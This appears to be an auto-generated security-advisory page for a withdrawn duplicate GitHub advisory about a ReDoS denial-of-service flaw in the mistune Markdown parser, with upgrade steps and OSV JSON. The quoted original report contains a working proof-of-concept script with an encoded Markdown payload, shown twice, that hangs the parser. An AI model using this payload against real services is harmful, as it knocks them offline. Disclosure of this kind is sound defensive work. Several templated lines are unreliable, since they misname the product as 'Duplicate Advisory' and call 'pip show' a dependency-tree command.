GHSA-hjph-f4mc-wx4c: Duplicate Advisory Denial of Service Vulnerability

HIGH
CWE-400
Published
Advisory Summary

GHSA-hjph-f4mc-wx4c is a HIGH denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Duplicate Advisory libraries in the PyPI ecosystem. The issue involves mistune has a redos in link_title_re that allows denial of service via crafted markdown input. Remediation is available by upgrading affected packages to version 3.2.1.

GHSA-hjph-f4mc-wx4c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-hjph-f4mc-wx4c
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Duplicate Advisory
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-hjph-f4mc-wx4c

To remediate this vulnerability, upgrade all affected Duplicate Advisory dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mistune fixed: 3.2.1
pip install mistune>=3.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mistune

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-hjph-f4mc-wx4c, inspect your installed packages using pip:

pip show mistune

Analyze the terminal output to locate any version of Duplicate Advisory in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.1), your application is affected.

Note: The pip show mistune command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Duplicate Advisory, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references. ### Original Description ### Summary **Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs. **Function affected:** parse_link_title() in helpers.py **Issue:** Malformed reference links cause excessive backtracking and parsing loops. **Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability. ### Details ``` Name: mistune Version: 3.2.0 Python version: Python 3.13.9 PIP version: pip 25.2 OS: Kali-linux-VERSION="2025.4" ``` ### PoC ``` import mistune import base64 print("Exploit started....!") data = base64.b64decode( "WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==" ) mistune.html(data.decode("utf-8", errors="ignore")) ``` ### Reproduce steps: Simply execute above python script it will hang & increase cpu utilization to 100% **Fuzzer Output (libFuzzer):** ``` ERROR: libFuzzer: timeout after 3 seconds SUMMARY: libFuzzer: timeout ``` **Stack Trace (Excerpt):** ``` mistune/helpers.py:170 in parse_link_title mistune/block_parser.py:259 in parse_ref_link mistune/core.py:216 in parse_method mistune/block_parser.py:458 in parse mistune/markdown.py:93 in parse mistune/markdown.py:120 in __call__ ``` ### IMAGE POC: <img width="1194" height="728" alt="POC" src="https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077" /> ### Impact: Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown ### Suggested Mitigations: Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC. This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.

GHSA-hjph-f4mc-wx4c Affected Duplicate Advisory Versions

1 component(s)
Fixed Versions:
3.2.1
Product / Package Ecosystem Affected Versions Fixed Version
mistune
PyPI
≥ 3.0.0a1
< 3.2.1
3.2.1

References

Frequently Asked Questions

What is GHSA-hjph-f4mc-wx4c?
GHSA-hjph-f4mc-wx4c is a security vulnerability in Duplicate Advisory involving Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input under CWE-400: Uncontrolled Resource Consumption.
Which Duplicate Advisory versions are affected?
Affected versions include releases prior to 3.2.1 across affected packages: mistune.
What version fixes GHSA-hjph-f4mc-wx4c?
Upgrading to 3.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mistune affected?
Yes, mistune is affected in releases prior to 3.2.1. Upgrade your dependency to 3.2.1 or later.
What CWE is associated with GHSA-hjph-f4mc-wx4c?
GHSA-hjph-f4mc-wx4c is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for GHSA-hjph-f4mc-wx4c?
Run the dependency tree command: 'pip show mistune'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hjph-f4mc-wx4c",
  "modified" : "2026-05-06T19:41:14Z",
  "published" : "2026-05-06T16:56:26Z",
  "withdrawn" : "2026-05-06T19:41:14Z",
  "aliases" : [ ],
  "summary" : "Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input",
  "details" : "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.\n\n### Original Description\n\n### Summary\n**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.\n\n**Function affected:** parse_link_title() in helpers.py\n**Issue:** Malformed reference links cause excessive backtracking and parsing loops.\n**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.\n\n### Details\n```\nName: mistune\nVersion: 3.2.0\nPython version: Python 3.13.9\nPIP version: pip 25.2\nOS: Kali-linux-VERSION=\"2025.4\"\n```\n\n### PoC\n```\nimport mistune\nimport base64\n\nprint(\"Exploit started....!\")\ndata = base64.b64decode(\n    \"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==\"\n)\nmistune.html(data.decode(\"utf-8\", errors=\"ignore\"))\n```\n\n### Reproduce steps:\nSimply execute above python script it will hang & increase cpu utilization to 100%\n\n**Fuzzer Output (libFuzzer):**\n```\nERROR: libFuzzer: timeout after 3 seconds\nSUMMARY: libFuzzer: timeout\n```\n\n**Stack Trace (Excerpt):**\n```\nmistune/helpers.py:170 in parse_link_title\nmistune/block_parser.py:259 in parse_ref_link\nmistune/core.py:216 in parse_method\nmistune/block_parser.py:458 in parse\nmistune/markdown.py:93 in parse\nmistune/markdown.py:120 in __call__\n```\n### IMAGE POC:\n<img width=\"1194\" height=\"728\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077\" />\n\n\n### Impact:\nDenial-of-Service (DoS)\nHigh CPU usage and application hang\nPotential for service unavailability in web apps or APIs processing untrusted Markdown\n\n### Suggested Mitigations:\nImplement parsing depth and iteration limits.\nLimit reference-link title length.\nDetects excessive escape character sequences.\nAdd defensive checks in parse_link_title.\nAdd fuzz regression tests using the provided PoC.\n\nThis vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mistune"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0a1"
      }, {
        "fixed" : "3.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lepture/mistune"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T16:56:26Z",
    "nvd_published_at" : null
  }
}